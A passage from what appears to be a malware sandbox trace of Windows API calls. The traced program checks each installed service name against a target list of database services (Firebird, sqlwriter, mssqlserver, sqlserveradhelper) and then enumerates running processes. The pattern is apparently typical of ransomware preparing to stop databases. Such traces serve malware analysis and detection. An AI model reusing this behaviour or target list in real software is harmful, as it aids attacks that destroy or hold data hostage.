lpString2="BrokerInfrastructure") returned 1 [0070.157] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0070.157] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0070.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0070.157] lstrlenW (lpString="CDPSvc") returned 6 [0070.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0070.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0070.157] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0070.157] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0070.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0070.157] lstrlenW (lpString="ClickToRunSvc") returned 13 [0070.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0070.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0070.157] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0070.157] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0070.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0070.157] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0070.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0070.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0070.157] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0070.157] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0070.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0070.157] lstrlenW (lpString="CryptSvc") returned 8 [0070.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0070.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0070.157] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0070.158] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0070.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0070.158] lstrlenW (lpString="DcomLaunch") returned 10 [0070.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0070.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0070.158] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0070.158] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0070.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0070.158] lstrlenW (lpString="DeviceAssociationService") returned 24 [0070.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0070.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0070.158] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0070.158] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0070.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0070.158] lstrlenW (lpString="Dhcp") returned 4 [0070.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0070.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0070.158] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0070.158] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0070.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0070.158] lstrlenW (lpString="Dnscache") returned 8 [0070.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0070.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0070.158] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0070.158] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0070.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0070.158] lstrlenW (lpString="DoSvc") returned 5 [0070.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0070.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0070.158] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0070.158] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0070.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0070.158] lstrlenW (lpString="DPS") returned 3 [0070.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0070.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0070.159] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0070.159] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0070.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0070.159] lstrlenW (lpString="DusmSvc") returned 7 [0070.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0070.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0070.159] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0070.159] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0070.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0070.159] lstrlenW (lpString="EventLog") returned 8 [0070.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0070.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0070.159] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0070.159] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0070.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0070.159] lstrlenW (lpString="EventSystem") returned 11 [0070.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0070.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0070.159] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0070.159] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0070.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0070.159] lstrlenW (lpString="FontCache") returned 9 [0070.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0070.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0070.159] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0070.159] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0070.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0070.159] lstrlenW (lpString="gpsvc") returned 5 [0070.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0070.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0070.159] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0070.159] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0070.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0070.160] lstrlenW (lpString="iphlpsvc") returned 8 [0070.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0070.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0070.160] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0070.160] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0070.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0070.160] lstrlenW (lpString="KeyIso") returned 6 [0070.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0070.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0070.160] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0070.160] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0070.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0070.160] lstrlenW (lpString="LanmanServer") returned 12 [0070.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0070.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0070.160] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0070.160] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0070.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0070.160] lstrlenW (lpString="LanmanWorkstation") returned 17 [0070.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0070.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0070.160] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0070.160] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0070.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0070.160] lstrlenW (lpString="lfsvc") returned 5 [0070.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0070.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0070.160] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0070.160] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0070.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0070.160] lstrlenW (lpString="lmhosts") returned 7 [0070.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0070.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0070.160] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0070.161] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0070.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0070.161] lstrlenW (lpString="LSM") returned 3 [0070.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0070.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0070.161] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0070.161] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0070.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0070.161] lstrlenW (lpString="MapsBroker") returned 10 [0070.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0070.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0070.161] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0070.161] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0070.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0070.161] lstrlenW (lpString="MpsSvc") returned 6 [0070.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0070.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0070.161] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0070.161] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0070.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0070.161] lstrlenW (lpString="NcbService") returned 10 [0070.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0070.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0070.161] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0070.161] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0070.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0070.161] lstrlenW (lpString="netprofm") returned 8 [0070.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0070.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0070.161] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0070.161] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0070.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0070.161] lstrlenW (lpString="NlaSvc") returned 6 [0070.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0070.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0070.162] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0070.162] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0070.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0070.162] lstrlenW (lpString="nsi") returned 3 [0070.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0070.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0070.162] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0070.162] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0070.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0070.162] lstrlenW (lpString="PcaSvc") returned 6 [0070.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0070.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0070.162] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0070.162] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0070.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0070.162] lstrlenW (lpString="PlugPlay") returned 8 [0070.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0070.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0070.162] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0070.162] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0070.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0070.526] lstrlenW (lpString="Power") returned 5 [0070.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0070.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0070.526] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0070.526] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0070.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0070.526] lstrlenW (lpString="ProfSvc") returned 7 [0070.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0070.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0070.526] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0070.526] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0070.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0070.526] lstrlenW (lpString="RpcEptMapper") returned 12 [0070.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0070.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0070.526] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0070.526] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0070.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0070.526] lstrlenW (lpString="RpcSs") returned 5 [0070.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0070.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0070.526] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0070.526] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0070.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0070.526] lstrlenW (lpString="SamSs") returned 5 [0070.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0070.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0070.526] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0070.527] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0070.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0070.527] lstrlenW (lpString="Schedule") returned 8 [0070.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0070.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0070.527] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0070.527] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0070.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0070.527] lstrlenW (lpString="SecurityHealthService") returned 21 [0070.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0070.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0070.527] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0070.527] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0070.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0070.527] lstrlenW (lpString="SENS") returned 4 [0070.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0070.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0070.527] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0070.527] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0070.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0070.527] lstrlenW (lpString="ShellHWDetection") returned 16 [0070.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0070.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0070.527] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0070.527] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0070.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0070.527] lstrlenW (lpString="Spooler") returned 7 [0070.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0070.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0070.527] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0070.527] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0070.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0070.527] lstrlenW (lpString="SSDPSRV") returned 7 [0070.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0070.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0070.528] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0070.528] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0070.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0070.528] lstrlenW (lpString="StateRepository") returned 15 [0070.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0070.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0070.528] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0070.528] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0070.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0070.528] lstrlenW (lpString="SysMain") returned 7 [0070.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0070.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0070.528] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0070.528] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0070.528] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x3d01278 | out: hHeap=0x690000) returned 1 [0070.528] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x30c [0070.532] Process32FirstW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0070.533] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0070.534] lstrlenW (lpString="System") returned 6 [0070.534] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0070.534] lstrlenW (lpString="smss.exe") returned 8 [0070.534] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0070.535] lstrlenW (lpString="csrss.exe") returned 9 [0070.535] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0070.536] lstrlenW (lpString="wininit.exe") returned 11 [0070.536] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0070.536] lstrlenW (lpString="csrss.exe") returned 9 [0070.537] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0070.537] lstrlenW (lpString="winlogon.exe") returned 12 [0070.537] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0070.538] lstrlenW (lpString="services.exe") returned 12 [0070.538] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0070.539] lstrlenW (lpString="lsass.exe") returned 9 [0070.539] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.539] lstrlenW (lpString="svchost.exe") returned 11 [0070.539] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0070.540] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0070.540] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0070.541] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0070.541] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.541] lstrlenW (lpString="svchost.exe") returned 11 [0070.541] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0070.542] lstrlenW (lpString="dwm.exe") returned 7 [0070.542] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x54, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.543] lstrlenW (lpString="svchost.exe") returned 11 [0070.543] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, 